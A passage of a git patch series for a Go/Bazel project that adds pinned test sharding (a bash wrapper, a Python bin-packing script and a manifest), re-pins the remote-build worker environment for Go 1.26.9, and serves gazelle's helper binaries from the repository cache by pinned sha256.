len(pinnedShardTargets) { + errs = append(errs, fmt.Sprintf("found %d rules running through %s, want the %d pinnedShardTargets", seen, pinnedShardWrapper, len(pinnedShardTargets))) + } + return errs +} + +func TestPinnedShardWrapperUsers(t *testing.T) { + for _, e := range pinnedShardWrapperUsers(t, sourceRepoRoot(t)) { + t.Error(e) + } +} diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index b058e806d..a5853126f 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -759,12 +759,23 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { if err != nil { t.Fatal(err) } + // go_test_pinned_shard.sh selects and skips by design (each test in + // exactly one shard: TestPinnedShardWrapperSplit), and is reviewed + // here for the dolt-server-cmd targets only, which are none of the + // retired tiers' lanes; pinnedShardWrapperUsers fails if anything + // else runs through it. + exempt := filepath.ToSlash(rel) == pinnedShardWrapper + if exempt { + for _, e := range pinnedShardWrapperUsers(t, root) { + t.Error(e) + } + } for i, line := range strings.Split(string(data), "\n") { code := strings.TrimSpace(line) if strings.HasPrefix(code, "#") { continue } - if scriptNarrow.MatchString(code) { + if scriptNarrow.MatchString(code) && !exempt { t.Errorf("%s:%d %q can select, skip or re-run the retired tiers' lanes' tests", rel, i+1, code) } for _, m := range regexp.MustCompile(`--config=([A-Za-z0-9_-]+)`).FindAllStringSubmatch(code, -1) { diff --git a/tests/regression/BUILD.bazel b/tests/regression/BUILD.bazel index b0c7f12ca..2c1f527f2 100644 --- a/tests/regression/BUILD.bazel +++ b/tests/regression/BUILD.bazel @@ -1,4 +1,5 @@ load("@rules_go//go:def.bzl", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") load("//tools/bazel:bd_releases.bzl", "LINUX_AMD64") # The differential regression suite (formerly regression.yml, which ran @@ -10,26 +11,50 @@ load("//tools/bazel:bd_releases.bzl", "LINUX_AMD64") # `go build -tags gms_pure_go ./cmd/bd`. Both bd's talk to a hermetic dolt # sql-server TestMain starts from the pinned dolt (BEADS_TEST_DOLT_SERVER=local) # where the job pulled the dolt-sql-server image; a server that cannot start -# fails the target (BEADS_TEST_REQUIRE_DOLT_CONTAINER=1). The Go binary shards -# itself over the top-level tests, so each runs in exactly one shard. +# fails the target (BEADS_TEST_REQUIRE_DOLT_CONTAINER=1). # +# The go_test is only the binary (manual: never run on its own); +# :regression_test runs it in 14 shards. Shards 1-10 each run the scenarios +# pinned_shards.txt pins to them (duration-balanced by +# tools/bazel/pin_shards.py); shards 11-14 are the Go binary's own round-robin +# shards over every other top-level test, a test added since the manifest was +# written included (tools/bazel/go_test_pinned_shard.sh), so each runs in +# exactly one shard. Round-robin alone over 8 shards left the slowest at twice +# the median (TestListAllOverridesLimitWithLabel, TestDepTypeExportFidelity). +go_test( + name = "regression_suite", + srcs = [ + "regression_test.go", + "scenarios_test.go", + ], + tags = ["manual"], + target_compatible_with = LINUX_AMD64, + deps = [ + "//internal/testutil", + "//internal/testutil/bazeltest", + ], +) + # Tags: # dolt-server-cmd: starts a hermetic dolt sql-server and needs the # integration build tag; selected by --config=doltserver-cmd (bazel.yml's # bazel-cmd-dolt lane) and excluded from every other lane, whose # configurations either drop both test files or set BEADS_TEST_SKIP=dolt. -go_test( +sh_test( name = "regression_test", size = "large", # --config=doltserver-cmd's -test.timeout=19m fires (with a goroutine # dump) before Bazel's 1200s action limit. timeout = "eternal", - srcs = [ - "regression_test.go", - "scenarios_test.go", + srcs = ["//tools/bazel:go_test_pinned_shard.sh"], + args = [ + "$(rootpath :pinned_shards.txt)", + "$(rootpath :regression_suite)", ], data = [ "BASELINE_VERSION", + "pinned_shards.txt", + ":regression_suite", "//cmd/bd:bd_for_tests", "@bd_releases//:v0.49.6", ], @@ -39,13 +64,9 @@ go_test( "BEADS_TEST_DOLT_SERVER": "local", "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", }, - shard_count = 8, + shard_count = 14, tags = ["dolt-server-cmd"], target_compatible_with = LINUX_AMD64, - deps = [ - "//internal/testutil", - "//internal/testutil/bazeltest", - ], ) # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- diff --git a/tests/regression/pinned_shards.txt b/tests/regression/pinned_shards.txt new file mode 100644 index 000000000..0734b701a --- /dev/null +++ b/tests/regression/pinned_shards.txt @@ -0,0 +1,55 @@ +# Pinned shards for tools/bazel/go_test_pinned_shard.sh. Generated by +# tools/bazel/pin_shards.py; regenerate rather than edit (see its usage). +# +# Every top-level test measured at >= 5s, bin-packed +# longest-first onto these shards; every other test runs in the +# binary's own round-robin shards. Measured seconds per pinned shard: +# 50 43 43 42 42 40 40 40 39 44 +# Unpinned tests: 40, 128s in total. +# +# +1 TestListAllOverridesLimitWithLabel +2 TestDepRemovalUnblocks +2 TestDepTypeExportFidelity +2 TestReparenting +3 TestCloseGuardNonBlocksDepTypes +3 TestDiamondDependency +3 TestListResolvedBlockerAnnotation +3 TestListStatusFilterParity +3 TestSpecialCharactersInFields +4 TestCustomTypeRoundTrip +4 TestDeleteWithDependencies +4 TestEpicWithChildrenStatus +4 TestMultipleDepTypesOnSameIssue +4 TestReopenPreservesDeps +5 TestBlocksDepCloseUnblocks +5 TestExportImportEpicTree +5 TestNonBlocksDepCloseSemantics +5 TestRemoveParent +5 TestUpdateDoesNotClobberRelationalData +6 TestMultipleCommentsRoundTrip +6 TestMultipleLabelsStressRoundTrip +6 TestParentChildDepExportBothDirections +6 TestParentChildDependency +6 TestReadySemantics +7 TestBlockedCommandParity +7 TestCountCommandParity +7 TestDeleteCascade +7 TestDepTreeOutput +7 TestTransitiveBlockingChain +8 TestEpicAllChildrenClosedNotBlocked +8 TestLargeExportImportRoundTrip +8 TestListByLabelFilter +8 TestRapidCommentAddStability +8 TestRapidLabelAddRemoveStability +9 TestBlockedEpicChildrenNotReady +9 TestChildrenCommand +9 TestCommentOnClosedIssue +9 TestDependenciesRoundTrip +9 TestQueryDSLParity +10 TestBasicLifecycle +10 TestFilteredExport +10 TestListCountParity +10 TestRapidDepAddRemoveStability +10 TestSearchByTitleSubstring +10 TestShowJSONFieldCompleteness diff --git a/tools/bazel/BUILD.bazel b/tools/bazel/BUILD.bazel index 6b17dde5c..fcddec75c 100644 --- a/tools/bazel/BUILD.bazel +++ b/tools/bazel/BUILD.bazel @@ -38,6 +38,14 @@ exports_files( visibility = ["//visibility:public"], ) +# sh_test src that runs one Bazel shard of an existing go_test binary with +# its slowest tests pinned to shards of their own by a manifest (see the +# script header and pin_shards.py), e.g. //cmd/bd:bd_dolt_server_test. +exports_files( + ["go_test_pinned_shard.sh"], + visibility = ["//visibility:public"], +) + # sh_test src that runs an existing go_test binary with no network but # loopback (see the script header), e.g. //cmd/bd:bd_managed_local_test. exports_files( diff --git a/tools/bazel/go_test_pinned_shard.sh b/tools/bazel/go_test_pinned_shard.sh new file mode 100755 index 000000000..d1c2b5d7d --- /dev/null +++ b/tools/bazel/go_test_pinned_shard.sh @@ -0,0 +1,90 @@ +#!/usr/bin/env bash +# Runs one Bazel shard of an existing go_test binary with the suite's slowest +# top-level tests pinned to shards of their own, so no shard's wall time is +# set by where the binary's round-robin split happens to drop its long tests. +# Like go_test_variant.sh it reuses the go_test's binary instead of compiling +# the package again. +# +# Usage: go_test_pinned_shard.sh [binary args...] +# , : runfiles paths ($(rootpath ...)), relative to the +# workspace runfiles directory, which is the test's working directory. +# The remaining arguments (and any --test_arg) go to the binary unchanged, +# after this wrapper's own -test.run/-test.skip. +# +# The manifest (tools/bazel/pin_shards.py writes it from measured test.xml +# durations) has one " " line per pinned test, pinned +# shards numbered 1..P with none empty; '#' starts a comment. With Bazel's +# shard_count N > P: +# Bazel shards 0..P-1 run exactly their pinned tests (-test.run), with the +# binary's own sharding switched off; +# Bazel shards P..N-1 are the binary's own round-robin shards 0..N-P-1 over +# every top-level test, minus every pinned one +# (-test.skip). +# So every test runs in exactly one shard: a pinned test only in its pinned +# shard, any other test (one added since the manifest was written included) +# where the binary's round-robin puts it. A manifest name with no test runs +# nothing (scripts/pinned_shards_test.go rejects one). Unsharded (no +# TEST_TOTAL_SHARDS, e.g. --test_sharding_strategy=disabled) the binary runs +# every test. +# +# rules_go sets GO_TEST_RUN_FROM_BAZEL=1 only for the go_test itself; this +# exports it, as go_test_variant.sh does, so the binary still changes into its +# package directory. The go_test's `env` is not inherited; the target repeats +# it. +set -euo pipefail +manifest="$1" +bin="$2" +shift 2 +export GO_TEST_RUN_FROM_BAZEL=1 + +total="${TEST_TOTAL_SHARDS:-1}" +if [[ "$total" -le 1 ]]; then + exec "./$bin" "$@" +fi +index="${TEST_SHARD_INDEX:?TEST_TOTAL_SHARDS is set but TEST_SHARD_INDEX is not}" + +declare -A shard_of=() +declare -a pinned_by_shard=() +pinned_shards=0 +all="" +lineno=0 +while IFS= read -r line || [[ -n "$line" ]]; do + lineno=$((lineno + 1)) + line="${line%%#*}" + read -r shard name extra <<<"$line" || true + [[ -z "${shard:-}" ]] && continue + if ! [[ "$shard" =~ ^[1-9][0-9]*$ && "${name:-}" =~ ^Test[A-Za-z0-9_]*$ && -z "${extra:-}" ]]; then + echo "$manifest:$lineno: want \" \", got: $line" >&2 + exit 1 + fi + if [[ -n "${shard_of[$name]:-}" ]]; then + echo "$manifest:$lineno: $name is pinned twice" >&2 + exit 1 + fi + shard_of[$name]="$shard" + pinned_by_shard[shard]="${pinned_by_shard[shard]:+${pinned_by_shard[shard]}|}$name" + all="${all:+$all|}$name" + ((shard > pinned_shards)) && pinned_shards="$shard" +done <"$manifest" + +for ((s = 1; s <= pinned_shards; s++)); do + if [[ -z "${pinned_by_shard[s]:-}" ]]; then + echo "$manifest: pinned shard $s has no tests (shards must be numbered 1..P with none empty)" >&2 + exit 1 + fi +done +if ((pinned_shards == 0 || total <= pinned_shards)); then + echo "$manifest pins $pinned_shards shards; the target's shard_count ($total) must be larger" >&2 + exit 1 +fi + +if [[ -n "${TEST_SHARD_STATUS_FILE:-}" ]]; then + touch "$TEST_SHARD_STATUS_FILE" +fi +if ((index < pinned_shards)); then + unset TEST_TOTAL_SHARDS TEST_SHARD_INDEX TEST_SHARD_STATUS_FILE + exec "./$bin" "-test.run=^(${pinned_by_shard[index + 1]})\$" "$@" +fi +export TEST_TOTAL_SHARDS=$((total - pinned_shards)) +export TEST_SHARD_INDEX=$((index - pinned_shards)) +exec "./$bin" "-test.skip=^(${all})\$" "$@" diff --git a/tools/bazel/pin_shards.py b/tools/bazel/pin_shards.py new file mode 100755 index 000000000..59e58b73d --- /dev/null +++ b/tools/bazel/pin_shards.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python3 +"""Write a pinned-shard manifest for tools/bazel/go_test_pinned_shard.sh. + +Usage: pin_shards.py --shards P --min-seconds S [--write MANIFEST] TESTLOGS... + +TESTLOGS are a sharded test's bazel-testlogs directories (each holding +shard_*_of_*/test.xml, or one test.xml), from one or more runs. Every +top-level (a name without "/") at or above S seconds in any run is +pinned: its duration is the maximum seen, and the tests are bin-packed +longest-processing-time first onto P shards. Every other test stays in the +binary's own round-robin shards. Without --write the manifest is printed. + +The durations come from the test.xml -test.v writes (GO_TEST_WRAP_TESTV=1, as +--config=doltserver-cmd sets), so regenerate from a run of the lane itself: + + bazel test //cmd/bd:bd_dolt_server_test --config=doltserver-cmd + python3 tools/bazel/pin_shards.py --shards 16 --min-seconds 5 \\ + --write cmd/bd/dolt_server_pinned_shards.txt \\ + bazel-testlogs/cmd/bd/bd_dolt_server_test + +Exit status: 0 on success, 1 on bad input (no test.xml, fewer pinned tests +than shards). +""" + +import argparse +import glob +import os +import sys +import xml.etree.ElementTree as ET + + +def durations(testlogs_dirs): + """Return {top-level test name: max seconds} over every test.xml.""" + out = {} + for d in testlogs_dirs: + paths = sorted(glob.glob(os.path.join(d, "shard_*_of_*", "test.xml"))) + if not paths and os.path.exists(os.path.join(d, "test.xml")): + paths = [os.path.join(d, "test.xml")] + if not paths: + raise ValueError(f"{d}: no test.xml") + for p in paths: + for tc in ET.parse(p).getroot().iter("testcase"): + name = tc.get("name") or "" + if not name.startswith("Test") or "/" in name: + continue + secs = float(tc.get("time") or 0) + out[name] = max(out.get(name, 0.0), secs) + return out + + +def pin(durs, shards, min_seconds): + """Bin-pack the tests >= min_seconds onto shards (LPT). Returns a list of + (shard number 1..shards, [(name, secs)...]) and the per-shard totals.""" + heavy = sorted( + ((n, s) for n, s in durs.items() if s >= min_seconds), + key=lambda ns: (-ns[1], ns[0]), + ) + if len(heavy) < shards: + raise ValueError(f"{len(heavy)} tests take >= {min_seconds}s, fewer than {shards} shards") + bins = [[] for _ in range(shards)] + totals = [0.0] * shards + for name, secs in heavy: + k = min(range(shards), key=lambda i: (totals[i], i)) + bins[k].append((name, secs)) + totals[k] += secs + return bins, totals + + +def render(bins, totals, min_seconds, rest): + lines = [ + "# Pinned shards for tools/bazel/go_test_pinned_shard.sh. Generated by", + "# tools/bazel/pin_shards.py; regenerate rather than edit (see its usage).", + "#", + f"# Every top-level test measured at >= {min_seconds:g}s, bin-packed", + "# longest-first onto these shards; every other test runs in the", + "# binary's own round-robin shards. Measured seconds per pinned shard:", + "# " + " ".join(f"{t:.0f}" for t in totals), + f"# Unpinned tests: {rest[0]}, {rest[1]:.0f}s in total.", + "#", + "# ", + ] + for k, tests in enumerate(bins, start=1): + for name, _ in sorted(tests): + lines.append(f"{k} {name}") + return "\n".join(lines) + "\n" + + +def main(argv=None): + ap = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) + ap.add_argument("--shards", type=int, required=True) + ap.add_argument("--min-seconds", type=float, required=True) + ap.add_argument("--write") + ap.add_argument("testlogs", nargs="+") + args = ap.parse_args(argv) + if args.shards < 1: + print("--shards must be at least 1", file=sys.stderr) + return 1 + try: + durs = durations(args.testlogs) + bins, totals = pin(durs, args.shards, args.min_seconds) + except (ValueError, OSError, ET.ParseError) as e: + print(f"pin_shards.py: {e}", file=sys.stderr) + return 1 + rest = [s for s in durs.values() if s < args.min_seconds] + text = render(bins, totals, args.min_seconds, (len(rest), sum(rest))) + if args.write: + tmp = args.write + ".tmp" + with open(tmp, "w", encoding="utf-8") as f: + f.write(text) + os.replace(tmp, args.write) + else: + sys.stdout.write(text) + return 0 + + +if __name__ == "__main__": + sys.exit(main()) From ce582394fe33addf60c02ccd908699413ec3ca13 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 07:38:56 +0000 Subject: [PATCH 183/325] build(rbe): re-pin worker-env to gascity's go1.26.9 worker host (#7411) gastownhall/gascity bumps Go to 1.26.9 for the 2026-10-08 stdlib advisories (GO-2026-6599..6617). The shared rbe-west pool workers install the Go named in gascity main's go.mod, so once that merges they advertise a new worker-env. This is the byte-for-byte copy of gascity's tools/rbe/worker-env.txt and its pin (tools/rbe/worker-env-sync); merge it together with the gascity change or beads' remote actions stop scheduling. Co-authored-by: Claude Opus 5.5 (1M context) --- platforms/BUILD.bazel | 2 +- tools/rbe/worker-env.txt | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/platforms/BUILD.bazel b/platforms/BUILD.bazel index 2707bcd42..66e541ea9 100644 --- a/platforms/BUILD.bazel +++ b/platforms/BUILD.bazel @@ -23,7 +23,7 @@ platform( name = "rbe_worker", exec_properties = { - "worker-env": "sha256:6be1381cf08e7fd66684cfce6f26aca57de2561e722c505d1f2f578e9fdeafa7", + "worker-env": "sha256:0c6c05c2196c246dba37e106a3d028e2f47f2e3d7eae0e41c2fe2bd9b2e4f6f0", }, parents = ["@bazel_tools//tools:host_platform"], visibility = ["//visibility:public"], diff --git a/tools/rbe/worker-env.txt b/tools/rbe/worker-env.txt index 17ef8ffc9..e36eb24d5 100644 --- a/tools/rbe/worker-env.txt +++ b/tools/rbe/worker-env.txt @@ -1,6 +1,6 @@ arch x86_64 dolt dolt version 2.1.8 -go go version go1.26.6 linux/amd64 +go go version go1.26.9 linux/amd64 os ubuntu 24.04 pkg bash 5.2 pkg coreutils 9.4 From 64e585e62a0fe068ba87d996e2f346a619aa242b Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 07:39:01 +0000 Subject: [PATCH 184/325] build(rbe): sync worker-env pin with gascity main (Go 1.26.9 re-pin, gastownhall/gascity#7387) (#7419) gascity #7387 (Go 1.26.9 / x/net v0.60.0 advisories) re-pinned worker-env to sha256:0c6c05c2...; rbe-west's pool workers advertise that, so every beads remote-execution run since ~06:00Z stopped in the worker-env preflight. Copied tools/rbe/worker-env.txt and the platforms/BUILD.bazel pin from gascity main; tools/rbe/worker-env-sync main now reports in step. Co-authored-by: Claude Opus 5.5 (1M context) From a13272b024a358a51fcd70c62de9e9a84cdb1f25 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 07:57:01 +0000 Subject: [PATCH 185/325] ci(bazel): serve gazelle's go_repository tools from the repository cache (#7417) * ci(bazel): serve gazelle's go_repository tools from the repository cache Every bazel.yml lane starts from a fresh output base, and before any go_deps repository can be fetched gazelle compiles fetch_repo and gazelle with `go build` in @bazel_gazelle_go_repository_tools: 18-24 s of every 2 vCPU lane's loading phase (the top ci-analytics repo_fetch entry in the embedded, proxied, cmd-dolt and test lanes). tools/bazel/go_repository_tools.bzl replaces that repository (override_repo on gazelle's non_module_deps extension). The build is reproducible, so the three binaries are pinned by sha256 per gazelle release, Go SDK and host. The rule asks the repository cache for the pinned digests first (Bazel re-hashes every hit, so a restored runner cache can only yield the pinned bytes); on a miss it builds exactly as gazelle does, inside env -i, and stores a matching build in the repository cache. An unpinned or stale combination still builds from source and prints the digests to pin. scripts/bazel_go_repository_tools_test.go keeps the pins in step with MODULE.bazel's gazelle and go_sdk versions. The runner cache key already includes MODULE.bazel, so the first push to main after this saves them. Analysis-only (--nobuild) per lane on Blacksmith 2 vCPU, main vs this change with a seeded runner cache (ga-vnycm2.8): test 54.0 -> 38.3 s, embedded 53.6 -> 31.1 s, integration 49.6 -> 35.2 s, doltserver 48.5 -> 33.0 s, proxied 46.6 -> 31.6 s, server-storage 33.5 -> 17.3 s, cmd-dolt 50.3 -> 33.0 s. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): pin gazelle's go_repository tools for Go 1.26.9 too Ready for the next go_sdk bump (gascity#7387 moves to 1.26.9 for the 2026-10-08 advisories): the same binaries keep coming from the repository cache instead of failing the pin test. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- MODULE.bazel | 16 ++ scripts/BUILD.bazel | 1 + scripts/bazel_go_repository_tools_test.go | 73 ++++++++ tools/bazel/go_repository_tools.bzl | 210 ++++++++++++++++++++++ 4 files changed, 300 insertions(+) create mode 100644 scripts/bazel_go_repository_tools_test.go create mode 100644 tools/bazel/go_repository_tools.bzl diff --git a/MODULE.bazel b/MODULE.bazel index 5fb24db7e..68ded81bb 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -188,6 +188,22 @@ go_sdk.nogo( nogo = "//tools/nogo", ) +# gazelle compiles fetch_repo and gazelle, which every go_deps repository +# runs, with `go build` in a repository rule before any go_deps fetch can +# start (18-24 s of every CI lane's loading). This substitute serves those +# reproducible binaries from the repository cache by pinned sha256 and builds +# them from source on a miss (tools/bazel/go_repository_tools.bzl). +gazelle_non_module_deps = use_extension("@gazelle//internal/bzlmod:non_module_deps.bzl", "non_module_deps") + +go_repository_tools = use_repo_rule("//tools/bazel:go_repository_tools.bzl", "go_repository_tools") + +go_repository_tools(name = "gazelle_go_repository_tools") + +override_repo( + gazelle_non_module_deps, + bazel_gazelle_go_repository_tools = "gazelle_go_repository_tools", +) + # gazelle.go.work joins the beads module and the nogo analyzers' module # (tools/nogo/go.mod) into one dependency graph for Bazel only; `go build` in # the repository root never reads it (it is not named go.work). diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index ef89f2709..36b26accd 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -37,6 +37,7 @@ go_test( "bazel_cache_mode_test.go", "bazel_farm_workflow_test.go", "bazel_fork_mode_test.go", + "bazel_go_repository_tools_test.go", "bazel_hermetic_cc_test.go", "bazel_policy_test.go", "bazel_rbe_prewarm_test.go", diff --git a/scripts/bazel_go_repository_tools_test.go b/scripts/bazel_go_repository_tools_test.go new file mode 100644 index 000000000..9e11a2d45 --- /dev/null +++ b/scripts/bazel_go_repository_tools_test.go @@ -0,0 +1,73 @@ +package scripts_test + +import ( + "regexp" + "strings" + "testing" +) + +// MODULE.bazel substitutes tools/bazel/go_repository_tools.bzl for +// gazelle's @bazel_gazelle_go_repository_tools, which serves fetch_repo and +// gazelle from the repository cache by pinned sha256 instead of compiling +// them in every fresh output base. A gazelle or Go SDK bump without new pins +// still builds (from source) but silently loses that, so the pins must name +// the versions MODULE.bazel pins. + +const goRepositoryToolsRule = "tools/bazel/go_repository_tools.bzl" + +var goRepositoryToolsNames = []string{"fetch_repo", "gazelle", "generate_repo_config"} + +func TestGoRepositoryToolsOverridesGazelle(t *testing.T) { + module := readPolicyFile(t, bazelPolicyRoot(t), hermeticCCModuleFile) + for _, want := range []string{ + `gazelle_non_module_deps = use_extension("@gazelle//internal/bzlmod:non_module_deps.bzl", "non_module_deps")`, + `go_repository_tools = use_repo_rule("//tools/bazel:go_repository_tools.bzl", "go_repository_tools")`, + `go_repository_tools(name = "gazelle_go_repository_tools")`, + } { + if !strings.Contains(module, want) { + t.Errorf("%s must contain %s", hermeticCCModuleFile, want) + } + } + override, err := moduleCall(module, "override_repo", "gazelle_non_module_deps") + if err != nil { + t.Fatal(err) + } + if !strings.Contains(override, `bazel_gazelle_go_repository_tools = "gazelle_go_repository_tools"`) { + t.Errorf("override_repo(gazelle_non_module_deps, ...) must map bazel_gazelle_go_repository_tools to gazelle_go_repository_tools, got:\n%s", override) + } +} + +func TestGoRepositoryToolsPinnedForModuleVersions(t *testing.T) { + root := bazelPolicyRoot(t) + module := readPolicyFile(t, root, hermeticCCModuleFile) + gazelle := regexp.MustCompile(`(?m)^bazel_dep\(name = "gazelle", version = "([^"]+)"\)`).FindStringSubmatch(module) + if gazelle == nil { + t.Fatalf("%s: no bazel_dep(name = \"gazelle\", version = ...)", hermeticCCModuleFile) + } + sdk, err := moduleCall(module, "go_sdk.download", `name = "go_sdk"`) + if err != nil { + t.Fatal(err) + } + goVersion := regexp.MustCompile(`version = "([^"]+)"`).FindStringSubmatch(sdk) + if goVersion == nil { + t.Fatalf("%s: go_sdk.download(name = \"go_sdk\") has no version", hermeticCCModuleFile) + } + + // CI's lanes run on linux/amd64; that host must always be pinned. + key := gazelle[1] + "/go" + goVersion[1] + "/linux_amd64" + rule := readPolicyFile(t, root, goRepositoryToolsRule) + entry := regexp.MustCompile(`(?s)"` + regexp.QuoteMeta(key) + `": \{(.*?)\}`).FindStringSubmatch(rule) + if entry == nil { + t.Fatalf("%s: _PINS has no %q entry (gazelle %s, Go %s from %s); fetch @gazelle_go_repository_tools on linux/amd64 and copy the digests it prints", + goRepositoryToolsRule, key, gazelle[1], goVersion[1], hermeticCCModuleFile) + } + pins := quotedPairs(entry[1]) + if len(pins) != len(goRepositoryToolsNames) { + t.Errorf("_PINS[%q] = %v, want exactly %v", key, pins, goRepositoryToolsNames) + } + for _, tool := range goRepositoryToolsNames { + if !sha256HexRE.MatchString(pins[tool]) { + t.Errorf("_PINS[%q][%q] = %q, want a sha256", key, tool, pins[tool]) + } + } +} diff --git a/tools/bazel/go_repository_tools.bzl b/tools/bazel/go_repository_tools.bzl new file mode 100644 index 000000000..dd81b99b8 --- /dev/null +++ b/tools/bazel/go_repository_tools.bzl @@ -0,0 +1,210 @@ +"""gazelle's go_repository_tools, served from Bazel's repository cache. + +Every go_deps repository (go_repository) runs two host binaries that gazelle +compiles with `go build` in a repository rule of its own, +@bazel_gazelle_go_repository_tools: fetch_repo, which downloads the module, +and gazelle, which writes its BUILD files. Nothing else can start until that +build finishes, and a fresh output base (every CI lane) pays it in full: +13-24 s of client loading on a 2-4 vCPU runner, before any go_deps fetch. + +The build is reproducible (-trimpath, -buildvcs=false, CGO_ENABLED=0), so +for a given gazelle release, Go SDK and host its output is fixed bytes. +_PINS records those bytes' sha256. This rule, which MODULE.bazel substitutes +for gazelle's (override_repo), asks the repository cache for each pinned +digest first: a hit is copied out after Bazel re-hashes it, so a runner cache +restored from elsewhere can only ever yield the pinned bytes. On a miss (or +an unpinned gazelle, Go or host) it builds exactly as gazelle does, and when +the result matches the pins it enters the repository cache, so the next +fetch, and the next CI run that restores that cache, skips the build. + +A gazelle or Go SDK bump changes the key: until _PINS gets the new entry +(the rule prints the digests to add), fetches build from source, as before. +""" + +_TOOLS = ["fetch_repo", "gazelle", "generate_repo_config"] + +# "//_" -> {tool: sha256}. +_PINS = { + "0.53.0/go1.26.7/linux_amd64": { + "fetch_repo": "6780b48003af40859f849a4cd4ae291473565a057447591a6cbf111eb45ea9e1", + "gazelle": "4c1300d28f01dbed14661010e6beb8d3595425a4ac4c57b97fd094bcf9d21e9f", + "generate_repo_config": "6e21ac3f7af18822045718a70118a45ba9d48a964558c483ff013bbe569f6b2f", + }, + "0.53.0/go1.26.9/linux_amd64": { + "fetch_repo": "8b1288089311dc63c3d4b04c433d9ba11df5b09b5e8fdb1f8db0804f360ca6c0", + "gazelle": "1b764f6d9ad08e324bdcab429c3105815b8914f289d594acfc791bdac2bc2b2c", + "generate_repo_config": "8fab5073786aa587248822b73733a3edde6a33bd34d6ae69c274536811b5f74a", + }, +} + +# gazelle's go_repository_tools.bzl _GO_REPOSITORY_TOOLS_BUILD_FILE. +_BUILD_FILE = """\ +package(default_visibility = ["//visibility:public"]) + +filegroup( + name = "fetch_repo", + srcs = ["bin/fetch_repo{ext}"], +) + +filegroup( + name = "gazelle", + srcs = ["bin/gazelle{ext}"], +) + +filegroup( + name = "generate_repo_config", + srcs = ["bin/generate_repo_config{ext}"], +) + +exports_files(["ROOT"]) +""" + +# Never fetched: a repository cache miss must fall through to the source +# build, not to the network. +_NO_URL = "file:///nonexistent/go_repository_tools" + +def _host(rctx): + os = rctx.os.name.lower() + if os.startswith("linux"): + os = "linux" + elif os.startswith("mac"): + os = "darwin" + elif os.startswith("windows"): + os = "windows" + arch = {"x86_64": "amd64", "aarch64": "arm64"}.get(rctx.os.arch, rctx.os.arch) + return os + "_" + arch + +def _gazelle_version(rctx): + for line in rctx.read(rctx.attr._gazelle_module).splitlines(): + line = line.strip() + if line.startswith("version = \""): + return line.split("\"")[1] + fail("no version in @gazelle//:MODULE.bazel") + +def _go(rctx, go, args, env, **kwargs): + """Runs go with exactly env, like gazelle's env_execute: no client GOFLAGS, GOARCH, ...""" + env = dict(env, GOROOT = str(go.dirname.dirname), GOTOOLCHAIN = "local") + if rctx.os.name.lower().startswith("windows"): + return rctx.execute([str(go)] + args, environment = env, **kwargs) + return rctx.execute(["env", "-i"] + ["%s=%s" % kv for kv in env.items()] + [str(go)] + args, **kwargs) + +def _build(rctx, go, gazelle_version, out_dir): + """gazelle's go_repository_tools build (its go.env, flags and packages), into out_dir.""" + scratch = rctx.path("_scratch") + env = { + "GOCACHE": str(scratch) + "/gocache", + "GOPATH": str(scratch) + "/gopath", + "GOROOT_FINAL": "GOROOT", + "CGO_ENABLED": "0", + "HOME": str(scratch), + } + for k in ["PATH", "GOPROXY", "TMP", "TMPDIR"]: + v = rctx.getenv(k) + if v: + env[k] = v + ldflags = [ + "-w", + "-s", + "-X", + "github.com/bazel-contrib/bazel-gazelle/v2/cmd/gazelle/update.BazelModuleVersion=" + gazelle_version, + "-X", + "github.com/bazel-contrib/bazel-gazelle/v2/cmd/gazelle/update.IsBazelModule=True", + ] + result = _go( + rctx, + go, + [ + "build", + "-o", + str(rctx.path(out_dir)) + "/", + "-ldflags", + " ".join(ldflags), + "-trimpath", + "-buildvcs=false", + "github.com/bazel-contrib/bazel-gazelle/v2/cmd/gazelle", + "github.com/bazelbuild/bazel-gazelle/cmd/fetch_repo", + "github.com/bazelbuild/bazel-gazelle/cmd/generate_repo_config", + ], + env, + working_directory = str(rctx.path(rctx.attr._gazelle_module).dirname), + ) + if result.return_code: + fail("building gazelle's go_repository tools: " + result.stderr) + + # The module cache is read-only; make it removable. + rctx.execute(["chmod", "-R", "u+w", str(scratch)]) + rctx.delete(scratch) + +def _sha256(rctx, path): + result = rctx.execute(["sha256sum", str(path)]) + return result.stdout.split(" ")[0] if result.return_code == 0 else "unknown" + +def _go_repository_tools_impl(rctx): + ext = ".exe" if rctx.os.name.lower().startswith("windows") else "" + go = rctx.path(Label("@go_sdk//:bin/go" + ext)) + rctx.watch(go) + result = _go(rctx, go, ["env", "GOVERSION"], {}) + if result.return_code: + fail("go env GOVERSION: " + result.stderr) + gazelle_version = _gazelle_version(rctx) + key = "%s/%s/%s" % (gazelle_version, result.stdout.strip(), _host(rctx)) + pins = _PINS.get(key) + names = {tool: "%s%s" % (tool, ext) for tool in _TOOLS} + + rctx.file("BUILD.bazel", _BUILD_FILE.format(ext = ext), executable = False) + rctx.file("ROOT", "", executable = False) + metadata = rctx.repo_metadata(reproducible = True) if hasattr(rctx, "repo_metadata") else None + + if not pins: + _build(rctx, go, gazelle_version, "bin") + sums = {tool: _sha256(rctx, rctx.path("bin/" + names[tool])) for tool in _TOOLS} + + # buildifier: disable=print + print("go_repository_tools: no pins for %s, built from source. To serve it from the repository cache, add %r: %r to _PINS in tools/bazel/go_repository_tools.bzl." % (key, key, sums)) + return metadata + + # The repository cache, by pinned digest. + if all([ + rctx.download( + url = _NO_URL, + output = "bin/" + names[tool], + sha256 = 